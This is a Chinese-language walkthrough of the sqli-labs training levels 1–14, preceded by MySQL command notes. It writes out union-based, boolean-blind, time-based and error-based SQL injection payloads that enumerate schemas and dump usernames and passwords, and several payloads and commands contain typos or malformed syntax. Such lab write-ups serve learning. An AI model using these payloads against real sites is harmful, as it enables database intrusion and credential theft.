sqli-las通关
mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库
补充:
-
cmd 窗口进入
mysql -u root -p // 密码
-
列出mysql的状态信息:
status;
-
展示数据库
show databases;
-
打开数据库
use 数据库名; use mysql;
-
展示数据库;
show tables;
-
显示表的结构
describe 数据表名; describe user; show columns from 数据表名; show columns from user;
-
展示users表里的password 和id
seclect * from users; //或者单看password; select password from users;
-
显示表的创建过程
show create table 表名; show create table user;
-
清空数据表慎用
delect from 数据库名; delect from test01; truncat table 数据表名; truncat table test01;
-
删除数据表慎用
drop table 数据表; drop table test01;
-
删除数据库慎用
drop database 数据库名; drop database test;
-
推出数据库
exit;
-
可以展示表中的东西
select *from tables;
-
展示系统版本
select @@version_compile_os;
-
展示所安装下的路径;
select @@datadir;
-
展示php版本
select version();
-
展示所使用的数据库
select database();
- 排序,用于判断列数
order by x;
- 联合查询,起着合并查询的作用
union select 1,2,3; //获取显示位
+++
常见的注入方法
(原因:用户输入的东西未被过滤就被拼接到了源代码中执行导致错误)
@ UNION query SQL injection(联合查询注入)
@ Error-based SQL injection(错型注入)
@ Boolean-based blind SQL injection(基于布尔的盲注)
@ Time-based blind SQL injection(基于时间的盲注)
@ Stacked queries SQL injection(可多语句查询注入)
+++
打关
less 1 (union联合查询)
第一步:判断正确的输入形式
?id=1'
?id=1')
?id=1"
?d=1")
第二步:爆列
?id=-1')order by 3--+
第三步:爆出显示列 看看那几列在页面显示
?id=-1') union select 1,2,3--+
第四步:显示版本,通过查询可以知道当前数据看是
?id=-1')union select 1,database(),version()--+
第五步:获取所有数据库
id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ //这里得到了包括security数据库表名的表
第六步:查询security表下的表
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schama='security' //这里知道了security表下有一个users表
第七步:知道表几列后查询其中的字段和内容
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第七步:知道内容之后使其显示密码等
?id=-1') union select 1,2,group_concat(username,id,password) from users--+
less 2
+++
less 3
第一步:判断正确的输入形式
?id=1'--+
?id=1')--+
?id=1")--+
?d=1")--+
第二步:爆列
?id=-1')order by 3--+
第三步:爆出显示列 看看那几列在页面显示
?id=-1') union select 1,2,3--+
第四步:显示版本,通过查询可以知道当前数据看是
?id=-1')union select 1,database(),version()--+
第五步:爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第六步:知道表几列后查询其中的字段和内容
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第七步:知道内容之后使其显示密码等
?id=-1') union select 1,2,group_concat(username,id,password) from users--+
+++
less 4同上
+++
less 5(布尔盲注)
正确的时候显示**you are in…**但不显示正确的结果,错误不显示,是典型的布尔盲注.
-
先看数据库的长度
?id=1'and length((select database()))>9--+
-
判断第一个字母是不是s
id=1' and left((select database()),1)='s'--+
- 判断第二个字母是不是e
id=1andleft((database()),2)='se'--+
一次类推…
或者
id=1%27%20and%20ascii(substr(database(),1,1))=115--+
/* b是要截取的位置,c是截取的长度*/
-
判断所有表名字符的长度
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+ //也可以='security' 这样逐个判断
-
逐个判断表名字
id=1'and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>99--+
- 判断所有字段名的长度:
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
-
逐个判断字段名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
-
判断字段内容的长度
?id=1' and length((select group_concat(username,password) from users))>109--+
-
逐个检查内容
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ //后续只改b中的数字从1到2以此类推开始就可以了
+++
less 6
一开始发现应该是数字和双引号的组合才正确,且发现题目是布尔盲注类型,所以按照这个格式继续5关的操作就可以了
+++
less7
开始输入?id=1出现you are in …与之前格式不同,按照之前的四种格式输入都不正确,那么尝试**?id=1’))–+发现又出现了you are in…则?id=1’))–+**是正确的格式,之后按照布尔盲注的方式继续就正确了
+++
less8
同第5关
+++
less9(时间注入)
发现不管输的是对是错都显示都一样,十分的jian,这时候通过时间注入判断
-
判断形式
?id=1'and if(1=1,sleep(5),1)--+ //如果是这个形式 就延迟10秒,如果不是执行1,不延迟
-
判断数据库的长度
?id=1' and if(length((select database()))>9,sleep(5),1)--+
-
逐一判断数据库名字
?id=1'and if ascii(substr((select database())),1,1)=115,sleep(5),1)--+
// 115对应的ascii码是s
-
判断表明的长度
?id=1' and if(length((select group_concat from information_schema.tables where table_schema=database()and table_name='users'))>20,sleep(5),1)--+
-
逐一判断表名字
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
-
判断字段的长度
?id=1' and if(length((select group_concat(username,password)from users))>109,sleep(5),1)--+
-
判断字段内容
?id=1'and if(ascii(substr((select group_concat(username,password)from users),1,1))>50,sleep(5),1)--+
+++
less10
-
判断形式
?id=1'and if(1=1,sleep(5),1)--+ //发现这种情况页面没有延迟 //将单引号改为双引号,则页面有延迟了,那么就是双引号了
之后做法和第9关就一摸一样了
+++
less11(post联合)
发现它有了输入框,那么就不再可以通过get传参了,本题是post传参 则末尾的注释由**–+变成#**
-
判断输入形式
1'or 1=1# //发现此时页面出现了语法报错的信息,说明我们1后面的符号成功闭合了,这就是正确形式
-
看列数
1'order by 3# //页面爆错,则有2列
-
获得表名
1'union select 1,group_concat(schema_name),3 from information_schema.schemata# //结果出现了information_schema,dvwa,mysql,performance_schema,security,sys,则我们之后就查询security表里面的数据
4. 看security表里面的内容
```mysql
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='security'#
//回显第二列列出了security表下的四个小表,之后就可以一一查询这四个小表下的数据了(里面包括users)
- 获得users表中所有字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# //从这里得到了users表下了 有id,username,password
6.获取用户名,密码等
1' union select 1,2,group_concat(username,id,password) from users #
+++
less12
-
判断输入格式
1'//没反应 1')//没反应 1"有反应 并且提示需要括号,则正确形式就是1")
-
查询语句返回结果的列数
1")order by 3# //报错,但2的时候没有反应 所以返回结果就是2列
之后就跟第11关一样了
+++
报错注入
1') and extractvalue(1,concat(0x7e,(select database()),0x7e))#
- extractvalue () 函数:这是 MySQL 中的一个函数,原本的功能是从 XML 文档中提取指定的节点值等相关操作。但在这里被攻击者利用来进行报错注入。其语法要求有两个参数,第一个参数通常是一个 XML 文档相关的对象或者节点等(不过在这里被传入了一个固定值 “1”,只是为了满足函数语法形式上的调用要求,并不是真正按照其正常功能去使用),第二个参数是一个 XPath 表达式,用于指定要提取的具体内容路径等。
- concat () 函数:它的作用是将多个字符串进行拼接。在这里用于把特定的字符标记和要获取的数据(也就是通过 “select database ()” 获取的当前数据库名称)拼接在一起,方便后续从报错信息中准确提取出想要的数据内容。
- 0x7e:在 MySQL 中,“0x7e” 代表的是字符 “~”,将它作为拼接内容,放在要获取的数据两边,起到分隔、标识的作用,这样当函数执行出错返回报错信息时,就能清晰地看到 “~” 包围着的数据库名称了。
- select database():这是一个简单的查询语句,“database ()” 是 MySQL 的内置函数,其作用就是返回当前所在的数据库名称。整个 “(select database ())” 这部分就是想要通过 “extractvalue ()” 函数报错的方式来获取的关键内容,也就是想办法把数据库名称 “逼” 出来,显示在报错信息里。
+++
less13(报错注入)
- 先判断输入格式
1'返回缺少括号 所以正确格式是 1'
-
判断列数
1') order by 3# //显示没有这一列,那么就是2列
之后选择输入
1') union select 1,2# //发现页面没有反应
再输入一系列的注入语句 ,发现都没有显示
因此判断需要报错注入来判断
1') and extractvalue(1,concat(0x7e,(select database()),0x7e))#
// 页面回显~security~ 我们知道了存在security这样的表
相同的方式还可以是
1')and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
username=admin') and (select count(*) from information_schema.tables where table_name='security')=1#
less14
先判断输入格式
1"显示语法错误,但是没有提示需要括号,所以这就是正确的格式
先判断输入格式
1"显示语法错误,但是没有提示需要括号,所以这就是正确的格式